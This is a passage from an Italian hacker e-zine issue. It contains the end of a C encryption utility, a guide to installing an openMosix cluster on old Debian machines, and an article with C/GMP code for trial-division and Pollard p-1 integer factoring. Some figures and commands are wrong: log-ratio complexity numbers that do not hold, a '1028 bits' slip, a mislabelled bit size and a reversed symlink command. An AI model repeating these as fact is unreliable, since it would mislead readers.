else fprintf(stderr,"Error: input file not \
found.\n");
} else if (strcmp(argv[2],"-des") == 0) {
if (fexists(argv[3]) == 1)
des_encrypt_decrypt(1,argv[3],argv[4]);
else fprintf(stderr,"Error: input file not \
found.\n");
} else if (strcmp(argv[2],"-bf") == 0) {
if (fexists(argv[3]) == 1)
bf_encrypt_decrypt(1,argv[3],argv[4]);
else fprintf(stderr,"Error: input file not \
found.\n");
} else if (strcmp(argv[2],"-rsa") == 0) {
if (fexists(argv[3]) == 1)
rsa_ed(0, argv[3], argv[4], argv[5]);
else fprintf(stderr,"Error: input file not \
found.\n");
} else;
} else if (strcmp(argv[1],"-fh") == 0 && argc == 3) {
if (fexists(argv[2]) == 1)
md5hash(argv[2]);
else fprintf(stderr,"Error: input file not found.\n");
} else if (strcmp(argv[1],"-fc") == 0 && argc == 4) {
if (fexists(argv[2]) == 1 && fexists(argv[3]) == 1)
md5cmp(argv[2],argv[3]);
else fprintf(stderr,"Error: input files not found.\n");
} else if (strcmp(argv[1], "-grsa") == 0 && argc == 5)
genkey(atoi(argv[2]), argv[3], argv[4]);
else
help(argv[0]);
return 0;
}
-------------------end unisfed.c---------------------------------------
-------------------unisfed.h-------------------------------------------
#define _GNU_SOURCE
#include
#include
#include
#define VERSION "0.1"
/* Miscellaneous functions */
int fexists(char *file);
void help(char *name);
/* RSA fucntions */
void* readpemkeys(int type, char *pemfile); /*RSA*/
void genkey(int size, char *secfile, char *pubfile);/*RSA*/
int rsa_encrypt(void *key, unsigned char *plain, int len, \
unsigned char **cipher);/*RSA*/
int rsa_decrypt(void *key, unsigned char *cipher, int len, \
unsigned char **plain);/*RSA*/
/* Block ciphers fucntions */
void bf_encrypt_decrypt(int mode, char *filein, \
char *fileout); /* BlowFish */
void des_encrypt_decrypt(int mode, char *filein, \
char *fileout); /* DES */
void idea_encrypt_decrypt(int mode, char *filein, \
char *fileout); /* IDEA */
/* Hash functions */
void md5cmp(char *file1, char *file2); /* MD5 */
void md5hash(char *filein); /* MD5 */
#include "rsa.c"
#include "block_ciphers.c"
#include "hash.c"
#include "misc.c"
-------------------end unisfed.h---------------------------------------
Ciao a tutti e alla prossima.
Paolo Ardoino AKA binduck hu>
:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
.::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::[.]::[.]
:: [O]nda[Q]uadra [0X0B] OQ20040308[0B] ::
:: [0x03][LiNUX] 0PENM0SiX - C0ME iNSTALLARL0 [DaVe & pinkf] ::
[.]::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
-----[Le macchine]-----
I computer a nostra disposizione sono tre Pentium a 133 Mhz, uno a 90
Mhz e un Pentium MMX a 200 Mhz, tutti con almeno 32 Mbyte di ram e 500MB
di disco rigido. Infine un 486DX2 a 66 Mhz e' stato deputato a
funzionare da gateway. Le macchine sono collegate tra loro tramite rete
coassiale a 10 Mbit (10base2).
-----[Installazione del nodo]-----
Bisogna premettere che data la scarsa potenza delle macchine e la
dimensione ridotta degli hard disk la scelta si e' ristretta
necessariamente alle distribuzioni con un sistema di gestione di
pacchetti precompilati integrato, scelta che e'caduta infine su Debian
nella sua ultima incarnazione Woody (v. 3.0rc2). L'installazione di base
occupa circa 70 MB ma comprende il potentissimo tool apt-get che
gestisce l'immenso database di pacchetti disponibili e le relative
dipendenze con pochi semplici comandi:
apt-get install per installare un nuovo pacchetto o una serie di
pacchetti,
apt-get remove per rimuoverlo e
apt-get upgrade per aggiornare automaticamente
tutti i pacchetti alle ultime versioni disponibili in Debian (comprese
le patch di sicurezza).
Per avere tutti i dettagli sull'installazione la migliore soluzione
consiste nel consultare gli ottimi how-to e guide all'installazione di
www.debian.org, ma qualche cenno di maggior rilevanza per i nostri scopi
sembra opportuno.
Nel nostro caso quasi tutte le macchine disponevano di lettore cd-rom,
ma solo una era in grado di avviarsi direttamente da cd; di conseguenza
il primo passo verso l'installazione e'stato di preparare il bootdisk e
il rootdisk previsti da Debian; visto il futuro impiego di un kernel
2.4.22 abbiamo optato per la serie di dischi bf-2.4 con kernel 2.4.18
nella versione modificata dagli sviluppatori di Debian.
Quindi cominciamo con l'installazione vera e propria.
Avviatosi l'installer di Debian, dopo il partizionamento del disco
rigido (con la partizione di swap all'inizio del disco per migliorare le
prestazioni in caso di swapping frequente) e il caricamento del modulo
necessario al funzionamento della scheda di rete, c'e'solamente da
lanciare l'installazione del sistema di base (install base system).
Dopo l'impostazione della password di root e della creazione di almeno
un utente normale, conviene rimuovere i pacchetti per il supporto dello
standard pcmcia come suggerito da debian e soprattutto rimuovere il
pacchetto del server smtp exim, inutile per i nostri scopi e possibile
causa di falle di sicurezza. Infine non conviene usare i tool di
gestione pacchetti di piu'alto livello come dselect e tasksel che
tendono a installare piu'del necessario.
Prima di procedere consiglio inoltre di seguire alcuni accorgimenti per
migliorare le prestazioni e la sicurezza del sistema: disattivare tre o
quattro delle sei console che Debian attiva di default (nel file
/etc/inittab) e soprattutto chiudere tutti i servizi di rete raramente
utili (time, discard, ...) che sono attivati al primo boot (nel file
/etc/inetd.conf).
Il nodo e'ora funzionante, ma mancano gli strumenti necessari per
integrarlo nel cluster. Installiamo allora i seguenti pacchetti:
ssh per la gestione remota del nodo
gcc, make, libncurses5-dev, patch, bzip2 per applicare la patch
openmosix ai sorgenti del kernel e compilarli
Per fare tutto cio'basta digitare
apt-get install ssh gcc make libncurses5-dev patch bzip2
e apt-get si occupera' di tutte le operazioni praticamente senza rendere
necessario l'intervento dell'utente.
In seguito si possono installare allo stesso modo anche lftp e less che
possono risultare utili e anche ntpdate che permette di mantenere piu' o
meno sincronizzati gli orologi dei nodi anche in caso di batterie cmos
esaurite, cosa piuttosto comune nelle macchine di qualche anno fa.
Posto che il nodo abbia accesso a internet si puo' aggiornare o
addirittura installare direttamente i pacchetti da un mirror di Debian.
La procedura e' semplice:
apt-setup
e'un comodo tool per la localizzazione dei siti mirror.
Questo comando modifica il file /etc/apt/sources.list, che eventualmente
si puo'modificare anche a mano.
In modo trasparente all'utente apt-get non cerchera' piu' i pacchetti
dal lettore cd-rom ma li cerchera' sui mirror ftp e http indicati.
-----[Kernel & openMosix]-----
Per far diventare il nostro sistema un nodo del cluster openmosix avremo
bisogno dei sorgenti del kernel ufficiali prelevabili da ftp.kernel.org,
dell'apposita patch e degli openmosix-tools entrambi disponibili sul
sito del progetto openMosix e cioe' www.openmosix.org. Nel nostro caso
abbiamo utilizzato il kernel in versione 2.4.22, la patch
openmosix-2.4.22-1 e i tools versione 0.3.4 (per comodita' e chiarezza
usero' negli esempi questi numeri di versione, ma la sostanza si puo'
applicare anche alle versioni successive).
Ora, posto che i sorgenti siano tutti compressi con bzip2, conviene
spostarli tutti nella stessa directory (/usr/src va benissimo) e
procedere nel modo seguente: decomprimere il file dei sorgenti di linux
e estrarre il tarball:
tar -xjvf linux-2.4.22.tar.bz2
copiare il file della patch o spostarlo nella directory linux-2.4.22 e
creare un link simbolico alla directory in questo modo:
ln -s linux-2.4.22 linux-openmosix
Infine va applicata la patch con il comando:
bzcat openmosix-2.4.22-1.tar.bz2 | patch -Np1
Ora si puo'configurare il kernel con il consueto make menuconfig o nel
modo che si preferisce.
Nel menu di configurazione del kernel comparira' se tutto e' stato fatto
correttamente, un sottomenu openMosix.
Per questa sezione i parametri corretti sono:
openMosix process migration support Y
Support clusters with a complex network topology N (perche' per
il nostro esempio la topologia e' banale)
Stricter security on openMosix ports Y
Level of process-identity disclosure 3
openMosix File-System Y
per le altre tre opzioni non ho molte notizie, ma leggendo un po' in
giro ho visto che vanno bene tutte e tre su Y.
Per la compilazione del resto kernel non c'e'alcuna raccomandazione
specifica, se non quella generica di togliere tutto cio' che non e'
necessario.
Ricordatevi che per quanto riguarda la configurazione del sottosistema
openMosix, le flag devono essere uguali per tutti i nodi. Invece il
resto del kernel puo' essere configurato secondo le necessita' dei singoli
nodi.
Poi si puo'procedere con la solita procedura per la compilazione (circa
6 ore sul 486, 30 minuti sul P200) e per l'installazione del nuovo
kernel. Una volta riavviato il sistema e verificato il funzionamento del
kernel appena compilato, si e' pronti per gli ultimi passi.
-----[openMosix-Tools: installazione e configurazione]-----
Il tar.gz dei tools va decompresso e i sorgenti estratti dal tarball;
l'installazione dei tools va fatta dopo aver riavviato il sistema con il
nuovo kernel. Altrimenti l'installazione dara'un errore del tipo:
this is non an OpenMosix system
Per compilare i sorgenti dei tools bastano i tipici tre comandi:
./configure
make
make install
non sono previste dipendenze particolari, tranne le ncurses gia'
installate in precedenza.
Per far partire il sistema openmosix all'avvio, si puo'alternativamente
installare
apt-get install openmosix
oppure copiare lo script di avvio nella cartella /etc/init.d con
cp /usr/src/openmosix-tools-xyz/scripts/openmosix /etc/init.d
per poi linkarlo nel livello di init di nostra scelta (di solito init 3)
per avviarlo in automatico
ln -s /etc/init.d/S99openmosix /etc/init.d/openmosix
L'ultimo sforzo consiste nel rimpiazzare il file /etc/openmosix.map di
default con quello utilizzato dal resto del cluster (che riporta la
mappatura numero nodo-ip anche del nodo stesso) oppure se questo e'il
primo nodo crearne uno nuovo e riavviare il tutto con
/etc/init.d/openmosix restart.
Una piccola nota: prima di aggiungere un nuovo nodo al cluster e'
conveniente aggiungerlo prima nel file openmosix.map di tutti gli altri
nodi e solo alla fine attivarlo; se il nuovo nodo viene attivato prima
che gli altri ne riconoscano l'esistenza, tutte le sue richieste
verranno respinte come illegali, cosa che provochera' un flood di
messaggi sulle console degli altri nodi e che le rendera' quasi
inutilizzabili.
Il file /etc/openmosix.map bisogna modificarlo come nell'esempio
eguente:
# MOSIX-# IP number-of-nodes
# ============================
1 192.168.1.1 1
2 192.168.1.2 1
3 192.168.1.3 1
##nel caso che il prossimo nodo sia anch'esso un cluster
##si metta
5 indirizzocluster numerodinodi
Per concludere questa parte si puo' dire che se e' stato correttamente
scritto anche il file /etc/hosts con le corrispondenze nomemacchina-IP
si puo' sostituire il nome macchina all'IP.
Se tutto e' andato a buon fine, i file openmosix.map sono stati copiati
su tutte le macchine, si puo'lanciare su ognuna il comando
/etc/init.d/openmosix start
Per controllare in ogni istante se la configurazione e' a posto si puo
vedere con
/etc/init.d/openmosix status
o eventualmente chiudere le comunicazioni con
/etc/init.d/openmosix stop.
-----[openMosixFileSystem]-----
Come avrete visto abbiamo configurato nel kernel il supporto a un file
system di openmosix. In pratica e' una specia di nfs, molto piu'
semplice, che condivide tutto il disco dei nodi. questo puo' servire al
sistema per il passaggio di dati, ad esempio.
Per settarlo bisogna aggiungere al file /etc/fstab la seguente linea
mfs /mfs mfs odfsa=1 0 0
che provvedera' a montare il file system nella directory /mfs, che
verra' automaticamente creata.
E' interessante vederne il contenuto: ci sono le cartelle 1 2 3 ecc. che
rappresentano i nodi. Possiamo percio' copiare dati da una macchina
all'altra senza usare scp, sempre se abbiamo i permessi corretti.
Inoltre ci sono alcune cartelle di servizio che possono essere utili per
chi ha voglia di scrivere scripts specifici per OM.
-----[openMosix-Tools: utilizzo]-----
Una volta in funzione openMosix opera in modo trasparente per l'utente.
I processi migrano tra le macchine senza richedere niente in run-time.
Logicamente si puo' forzare il sistema a migrare un processo, ad
accettare o no l'esecuzione processi di altri utenti eccetera.
Gli openmosix tools che abbiamo installato provvedono a tutte queste
necessita'. Il comando
mosmon
permette di visualizzare su terminale lo stato di carico di ogni nodo,
usando un grafico a barre. Con il tasto h si possono vedere le opzioni
di visualizzazione. Il comando
mtop
e' simile al noto top, ma ha in piu' l'indicazione di dove sta girando
il nostro processo. Similmente fa
mps
che, avrete capito, e' la versione cluster di ps.
Un altro comando utile e'
migrate IDPROCESSO NUMERONODO
che forza la migrazione del processo contrassegnato da IDPROCESSO nel
nodo NUMERONODO.
OpenMosix all'avvio controlla una serie di parametri della nostra
macchina per classificarla all'interno del cluster. Per esempio,
basandosi anche sui bogomips, determina la velocita' relativa tra le
macchine. Se per esempio noi avessimo in cluster un nuovissimo Pentium%$
e un vecchio 386, probabilmente nessun processo migrera' dal computer
piu' veloce a quello piu'lento.
Noi possiamo vedere l'indice di velocita' letto da openMosix con
mosctl getspeed
e pareggiare le velocita' col comando
mosctl setspeed NUMERO
cosi' il sistema credera' di avere a disposizione due macchine uguali.
Mosctl e' il comando totale per il tuning del sistema e devo rimandarvi
al man mosctl per tutte le altre opzioni.
Per chi ha anche installato X o Apache ci sono un paio di altri
divertenti tools.
Openmosixview e openmosixwebview possono essere scaricato dal sito web
di OM e provvedono una interfaccia X o web per il controllo anche remoto
del cluster. Purtroppo parlare anche di questi comodi pacchetti per
adesso potrebbe essere scomodo e lungo. Permettono di controllare e
anche di modificare i parametri del cluster anche da remoto. Voglio solo
ricordare che per la versione X c'e'bisogno delle librerie qt, e per la
versione web ci vuole apache (o altro web server) e mod_php compilato
con le estensioni gd.
-----[openMosixStressTest: installazione]-----
Un modo per testare il cluster e' con il programma omtest, sempre sul
sito web di OM. Il test esegue alcuni programmi e scripts che impegnano
cpu e memoria molto intensamente. Uno dei programmi genera chiavi RSA e
per questo richiede le librerie ssl da preinstallare. Inoltre usa molto
il linguaggio perl, che dovrebbe essere compreso nell'installazione di base.
Il file omtest.XYZ.tar.gz va unzippato in una cartella, di solito
/usr/src/omtest con
tar xzvf omtestXYZ.tar.gz /usr/src/omtest
Spostandoci all'interno di omtest troviamo la cartella required;
all'interno troviamo due cartelle che contengono alcuni moduli perl
necessari per il test. In entrambe le cartelle diamo i comandi
perl Makefile.PL
make
make install
per installarli correttamente.
Adesso nella cartella omtest possiamo lanciare il test con
./start_openMosix_test.sh
-----[openMosixStressTest: alcune considerazioni]-----
-----[sulle prestazioni del cluster]-----
Il primo metodo per testare il cluster e' l'openMosix stress test del
quale abbiamo visto l'installazione qualche riga piu' su. I risultati non
sono stati molto confortanti in assoluto, visto che il cluster ha
portato a termine il test in circa 10 ore quando 5 Athlon 800 lo
completano in 40 minuti e tre Athlon 1300 in 20 minuti!
(http://alumnes.eup.udl.es/~b4767512/07.openMosix/tfc_EUP_2003/).
Durante l'esecuzione del test si puo' monitorare il carico sui nodi con
i comandi visti prima: se il sistema funziona bene, su macchine omogenee
avremo il carico ben bilanciato su tutti i nodi.
Dopodiche' per far lavorare il cluster per un po' di tempo abbiamo
installato sul nodo principale il noto software seti@home e abbiamo
lanciato cinque suoi processi contemporaneamente con uno script.
Il singolo tempo di calcolo di un'unita' seti e' di circa 57 ore (contro
le circa 4 di un Athlon 800), ma qui il cluster ha fatto il suo dovere:
a regime produceva in media circa 1.5 unita' di seti al giorno il che
vuol dire ridurre la computazione della singola unita' a 16 ore, cioe'
una riduzione del tempo di calcolo del 72%! Sul sito
http://fattoria.ccni.it ci sono i link per vedere i risultati del
calcolo.
Da notare che non e' necessario installare i software di "lavoro" su
tutti i nodi del cluster. In realta' i nodi del cluster potrebbero
tranquillamente essere macchine diskless che fanno boot da una macchina
principale. Quindi al sistema openmosix basta avere il kernel, la
connessione di rete e poco altro.
Per motivi tecnici (un salvavita malfunzionante) abbiamo dovuto spegnere
le macchine del cluster e non abbiamo potuto eseguire ulteriori test, ad
esempio per analizzare bene la scalabilta' del software che si puo'
far girare sul cluster, ma ci ripromettiamo di farlo e di rendere noti i
risultati appena saremo in grado di proseguire.
-----[openMosix: un po' di teoria per concludere]-----
Quando lanciamo un processo, o meglio piu' processi, viene riservata dal
kernel un'area di memoria dedicata e privata per ogni processo. Quando
un sistema e' sovraccaricato, OpenMosix non fa altro che prendere
quest'area di memoria e spostarla tramite la rete su un nodo che e' piu'
scarico. Sulla macchina nuova viene aggiornato lo scheduler dei processi
aggiungendo il nuovo processo alla coda. Quindi non serve avere in
esecuzione o in memoria di tutti i nodi il software che stiamo usando.
Basta avere una macchina di "produzione" con tutto l'occorrente e il
resto del cluster non deve avere niente di piu' del necessario.
Voglio ricordare che openMosix gestisce correttamente solo processi
concorrenti separati e non quelli a memoria condivisa. Cioe' se lancio
due processi che lavorano sullo stesso input, questi non possono essere
migrati indipendentemente, perche' condividono una risorsa, il file di
input. Al contrario due processi che usano risorse separate possono
migrare indipendentemente senza problemi.
Per esempio openMosix non puo'aiutarvi a fare un encoding di una canzone
in meta' tempo lanciando due istanze di bladeenc, per esempio, ma
richiedera' meta' tempo codificarne due, perche' saranno migrati ed
eseguiti su due processori.
Il tempo di migrazione di un processo varia secondo l'hardware della
macchina. Generalmente i processi migrano dopo un paio di secondi dal
raggiungimento della soglia di carico sul nodo. Ma cio' significa che i
processi che durano meno di un paio di secondi, ad esempio le
compilazioni, anche se caricano il nodo oltre alla soglia, il processo
non migra. Se prevedete di usare un cluster per velocizzare la
compilazione bisogna rivolgersi a distcc.
Questo in linea di massima, esistono sempre delle eccezioni. Consultate
il sito di openMosix, ci sono varie spiegazioni su cio' che si puo' non
si puo' fare.
Speriamo di essere stati chiari
Buon clustering!
Martin it> & DaVe it>
http://Fattoria.ccni.it
:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
.::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::[.]::[.]
:: [O]nda[Q]uadra [0X0B] OQ20040308[0B] ::
:: [0x04][C0DiNG] FACT0RiNG LARGE iNTEGERS [binduck] ::
[.]::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
0.0] - Intro
1.0] - Metodo classico
1.1] - Implementazione del metodo classico
1.2] - Alcuni risultati del metodo classico
2.0] - Metodo di Pollard p-1
2.1] - Implementazione del metodo di Pollard p-1
2.2] - Alcuni risultati del metodo Pollard p-1
3.0] - Conclusione
0.0] - Intro
In questo articolo ci occuperemo dell'implementazione di un algoritmo
utile alla fattorizzazione di interi molto grandi. L'interesse per
questo particolare tipo di algoritmi e' indotto dal fatto che l'RSA
basa la sua solidita' sulla difficolta' di fattorizzare numeri di
grandi dimensioni.
Prendiamo per come esempio una chiave RSA-512 [512 bits]:
usando il GNFS [Generalized Number Field Sieve] sono stati impiegati
2 mesi su 300 PC 400 MHz con 64Mb di RAM [per un equivalente di 8000
MIPS-Year] per la parte del sieving, mentre sono stati impiegati 10
giorni su un Cray C90 per risolvere la matrice.
Vediamo quanto tempo impiegheremmo con chiavi a 576, 1024, 2048 bits:
[indichiamo con "t" il tempo impiegato per computare 2^512]
LOG(2^576) / LOG(2^512) = 10.9 [tempo[2^576] = 10.9 * t]
LOG(2^1024) / LOG(2^512) = 7 * 10^6 [tempo[2^1024] = t*7*10^6]
LOG(2^2048) / LOG(2^512) = 9 * 10^15 [tempo[2^2048] = t*9*10^15]
Come possiamo desumere da questi dati tentare di computare una chiave
2^2048 bits e' una follia per ora anche parallelizzando massicciamente,
infatti anche supponendo di avere la disponibilita' di 10^6 computers
il tempo richiesto per fattorizzare una chiave a 1028 bits sarebbe
comunque di 9*10^9 volte il tempo richiesto da una chiave a 512 bits,
quindi rimane comunque improponibile.
In questo articolo presento due algoritmi:
- il primo e' il metodo classico.
- il secondo non e' certamente un algoritmo velocissimo [ovviamente e'
molto piu' veloce del metodo classico; il primato della velocita' e'
per ora detenuto dal NFS [Number Field Sieve o Crivello del campo
numerico], e non e' certo un esempio molto complicato ma esprime
facilmente il concetto di fattorizzazione di un intero con un metodo
abbastanza veloce; fu inventato da Pollard [si chiama infatti Pollard
p-1] ed e' anche utile a capire l'algoritmo sviluppato da H.W. Lenstra
basato sulle Curve Ellittiche, che trattero' nel prossimo articolo
su questo argomento.
1.0 ] - Metodo classico
a]Sia N un numero intero >= 2 di cui si devono trovare i fattori primi.
b]Sia sqrt la radice quadrata di N [ovviamente si prende solo la parte
intera].
c]Si inizi a dividere N per ogni intero [k > 1] dispari <= sqrt.
Se k|N [k divide N] => abbiamo trovato un fattore primo di N.
Sia N = N / k [anche se il dominio e' Z posso effettuare la divisione
dato che k != 0 ed k|N].
Si riparta dal punto b].
1.1] - Implementazione del metodo classico
Il programma necessita della libreria gmp.
gcc cfmi.c -o cfmi -lgmp
-----------------------------------------------------------------------
/**********************************************************************
This program is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation; either version 2 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program; if not, write to the Free Software
Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
************************************************************************
(c) 2003 by Paolo Ardoino
***********************************************************************/
#include
#include
#include
#include
#include
int main(int argc, char *argv[])
{
unsigned long long int tmpui = 0;
mpz_t N, sqrt, tmp, ctr;
struct timeval tm0, tm1;
if (argc != 2) {
fprintf(stderr, "CFMI - Classical Factorization Method \
Implementaion.\n");
fprintf(stderr, "Usage: %s \n", *argv);
fprintf(stderr, "\t: integer to factorize.\n");
exit(EXIT_FAILURE);
} else if (*(argv + 1)){
mpz_init_set_str(N, *(argv + 1), 10);
if (mpz_cmp_ui(N, 1) <= 0) {
fprintf(stderr, "Errot: Please insert N >= 2");
exit(EXIT_FAILURE);
}
gmp_printf("N = %Zd\n", N);
mpz_init(tmp);
gettimeofday(&tm0, NULL);
/* Tries to compute m = N mod 2 */
/* if m == 0 => 2|N [2 is a factor of N] */
while (mpz_mod_ui(tmp, N, 2) == 0) {
printf("Factor = 2\n");
mpz_div_ui(N, N, 2);
}
/* Checks if N == 1 */
if (mpz_cmp_ui(N, 1) == 0) {
mpz_clear(tmp);
mpz_clear(N);
gettimeofday(&tm1, NULL);
printf("Factorization has been completed in %ld seconds.\n",\
tm1.tv_sec - tm0.tv_sec);
exit(EXIT_SUCCESS);
}
/* Checks if N is prime */
/* Uses a probility primality test that has */
/* probabity of failure == 0.25 ^ x [here x == 10] */
if (mpz_probab_prime_p(N, 10) > 0) {
gmp_printf("Factor = %Zd\n", N);
mpz_clear(tmp);
mpz_clear(N);
gettimeofday(&tm1, NULL);
printf("Factorization has been completed in %ld seconds.\n",\
tm1.tv_sec - tm0.tv_sec);
exit(EXIT_SUCCESS);
}
mpz_init(sqrt);
mpz_init_set_ui(ctr, 3); /* sets ctr = 3 */
mpz_sqrt(sqrt, N);
if (mpz_odd_p(sqrt) == 0)
mpz_add_ui(sqrt, sqrt, 1);
/* while ctr < sqrt(N) */
while (mpz_cmp(ctr, sqrt) < 0) {
while (1) {
mpz_mod(tmp, N, ctr);
if (mpz_cmp_ui(tmp, 0) == 0) {
gmp_printf("Factor = %Zd\n", ctr);
mpz_div(N, N, ctr);
mpz_sqrt(sqrt, N);
if (mpz_odd_p(sqrt) == 0)
mpz_add_ui(sqrt, sqrt, 1);
} else
break;
}
mpz_add_ui(ctr, ctr, 2);
if (mpz_cmp_ui(N, 1) == 0) {
mpz_clear(tmp);
mpz_clear(N);
mpz_clear(ctr);
mpz_clear(sqrt);
gettimeofday(&tm1, NULL);
printf("Factorization has been completed in %ld seconds.\n",\
tm1.tv_sec - tm0.tv_sec);
exit(EXIT_SUCCESS);
}
if (mpz_probab_prime_p(N, 10) > 0) {
gmp_printf("Factor = %Zd\n", N);
mpz_clear(tmp);
mpz_clear(N);
mpz_clear(ctr);
mpz_clear(sqrt);
gettimeofday(&tm1, NULL);
printf("Factorization has been completed in %ld seconds.\n",\
tm1.tv_sec - tm0.tv_sec);
exit(EXIT_SUCCESS);
}
}
}
return 0;
}
1.2] - Alcuni risultati del metodo classico
RESULTS OF SPMI - Classical Method Implementation
for large integers factorization
HARDWARE :
CPU model name : AMD Athlon(TM) XP 2000+
CPU MHz : 1666.240
CPU cache size : 256 KB
CPU bogomips : 3322.67
RAM MB : 512 MB
RAM MHz : 266 MHz
SOFTWARE :
Operative System : Gentoo GNU/Linux [kernel v2.6.2]
cfmi.c : my implementation of the classical method
RESULTS :
N[integer to factorize]: 3369738766071892021 [quite 2^32]
Factor: 204518747
Factor: 16476429743
Factorization has been completed in 1115-1142 seconds.
2.0] - Metodo di Pollard p-1
a]Sia N un numero intero >= 2 di cui si devono trovare i fattori primi.
b]Sia b un certo intero limitato.
c]Sia k multiplo di tutti [o al massimo della maggior parte] degli
interi <= b. Ad esempio si puo' considerare k = b!.
d]Si scelga 2 <= a <= N - 2 [random]
e]Si calcoli il Massimo Comun Divisore GCD(a^k - 1 (mod N), N)
[Quindi si deve calcolare a^k - 1 in ZN e trovare il massimo
comun divisore tra questo e N [si usi ad esempio l'algoritmo euclideo
per calcolare il GCD]].
f]Se GCD == 1 allora si ritorni al punto d]; se GCD > 1 e se GCD e'
un numero primo allora si e' trovato un fattore di N non banale.
Vediamo, ora, l'algoritmo da un punto di vista piu' matematico:
k e' multiplo di tutti gli interi <= b
supponiamo che p sia un divisore primo di k tale che -1 sia prodotto
di piccole potenze di primi, tutte minori di b. Quindi k e' multiplo
anche di p-1, poiche' e' multiplo di tutte le potenze dei fattori primi
di p-1. Per Fermat [a^(p-1) = 1 (mod p) con a e p primi tra loro]
a^k = 1 (mod p); quindi p|GCD(a^k - 1, N);ne segue che a^k = 1 (mod N)
rimane l'unica possibilita' di fallimento.
Questo metodo presenta la sua debolezza quando, scelto un N molto
grande, per ogni p|N si ha che p-1 ha fattori primi molto grandi.
2.1] - Implementazione del metodo di Pollard p-1
Il programma necessita della libreria gmp e della libreria matematica.
gcc spmi.c -o spmi -lgmp -lm
-----------------------------------------------------------------------
/**********************************************************************
This program is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation; either version 2 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program; if not, write to the Free Software
Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
************************************************************************
(c) 2003 by Paolo Ardoino
***********************************************************************/
#include
#include
#include
#include
#include
#define MAX_B 1000L /* MAX b */
int main(int argc, char *argv[])
{
float b = 0.;
mpz_t N, a, GCD, tmp, k;
struct timeval tm0, tm1;
gmp_randstate_t state;
printf("SPMI - Simple Pollard p-1 Method Implementaion.\n");
printf("(c) 2003 by Paolo Ardoino \n");
if (argc != 3) {
fprintf(stderr, "Usage: %s \n", *argv);
fprintf(stderr, "\t: integer to factorize.\n");
fprintf(stderr, "\t: small integer for computation of k.\n");
exit(EXIT_FAILURE);
} else if (*(argv + 1) && *(argv + 2)){
mpz_init_set_str(N, *(argv + 1), 10);
if (mpz_cmp_ui(N, 1) <= 0) {
fprintf(stderr, "Errot: Please insert N >= 2");
exit(EXIT_FAILURE);
}
gmp_printf("N = %Zd\n", N);
b = atof(*(argv + 2));
if (b > MAX_B) {
printf("Warning: b too large. Setting to %ld\n", MAX_B);
b = (float)MAX_B;
}
printf("b = %.0f\n", b);
mpz_init(tmp);
gettimeofday(&tm0, NULL);
/* Tries to compute m = N mod 2 */
/* if m == 0 => 2|N [2 is a factor of N] */
while (mpz_mod_ui(tmp, N, 2) == 0) {
printf("Factor = 2\n");
mpz_div_ui(N, N, 2);
}
/* Checks if N == 1 */
if (mpz_cmp_ui(N, 1) == 0) {
mpz_clear(tmp);
mpz_clear(N);
gettimeofday(&tm1, NULL);
printf("Factorization has been completed in %ld seconds.\n",\
tm1.tv_sec - tm0.tv_sec);
exit(EXIT_SUCCESS);
}
/* Checks if N is prime */
/* Uses a probility primality test that has */
/* probabity of failure == 0.25 ^ x [here x == 10] */
if (mpz_probab_prime_p(N, 10) > 0) {
gmp_printf("Factor = %Zd\n", N);
mpz_clear(tmp);
mpz_clear(N);
gettimeofday(&tm1, NULL);
printf("Factorization has been completed in %ld seconds.\n",\
tm1.tv_sec - tm0.tv_sec);
exit(EXIT_SUCCESS);
}
mpz_init(a);
mpz_init(GCD);
mpz_sub_ui(tmp, N, 1); /* tmp = N - 1 */
mpz_init(k);
mpz_fac_ui(k, b); /* k = b! */
gmp_printf("k = %Zd\n", k);
gmp_randinit_default(state);
while (1) {
mpz_urandomm(a, state, tmp); /* 0 < a < N - 2 */
if (mpz_cmp_ui(a, 1) <= 0)
mpz_set_ui(a, 2);
mpz_powm(tmp, a, k, N); /* computes a^k (mod(N)) */
mpz_sub_ui(tmp, tmp, 1); /* a^k - 1 (mod(N)) */
mpz_abs(tmp, tmp);
mpz_gcd(GCD, tmp, N); /* GCD(a^k - 1 (mod(N)), N) */
if (mpz_cmp_ui(GCD, 1) > 0) { /* GCD > 1 */
if (mpz_probab_prime_p(GCD, 10) > 0) { /* GCD is prime */
gmp_printf("Factor = %Zd\n", GCD); /* GCD is a factor of N */
mpz_div(N, N, GCD);
}
}
if (mpz_cmp_ui(N, 1) == 0) {
mpz_clear(a);
mpz_clear(GCD);
mpz_clear(tmp);
mpz_clear(N);
mpz_clear(k);
gettimeofday(&tm1, NULL);
printf("Factorization has been completed in %ld seconds.\n",\
tm1.tv_sec - tm0.tv_sec);
exit(EXIT_SUCCESS);
}
if (mpz_probab_prime_p(N, 10) > 0) {
gmp_printf("Factor = %Zd\n", N);
mpz_clear(a);
mpz_clear(GCD);
mpz_clear(tmp);
mpz_clear(N);
mpz_clear(k);
gettimeofday(&tm1, NULL);
printf("Factorization has been completed in %ld seconds.\n",\
tm1.tv_sec - tm0.tv_sec);
exit(EXIT_SUCCESS);
}
}
}
return 0;
}
-----------------------------------------------------------------------
2.2] - Alcuni risultati del metodo Pollard p-1
RESULTS OF SPMI - Simple Pollard p-1 Method Implementation
for large integers factorization
HARDWARE :
CPU model name : AMD Athlon(TM) XP 2000+
CPU MHz : 1666.240
CPU cache size : 256 KB
CPU bogomips : 3322.67
RAM MB : 512 MB
RAM MHz : 266 MHz
SOFTWARE :
Operative System : Gentoo GNU/Linux [kernel v2.6.2]
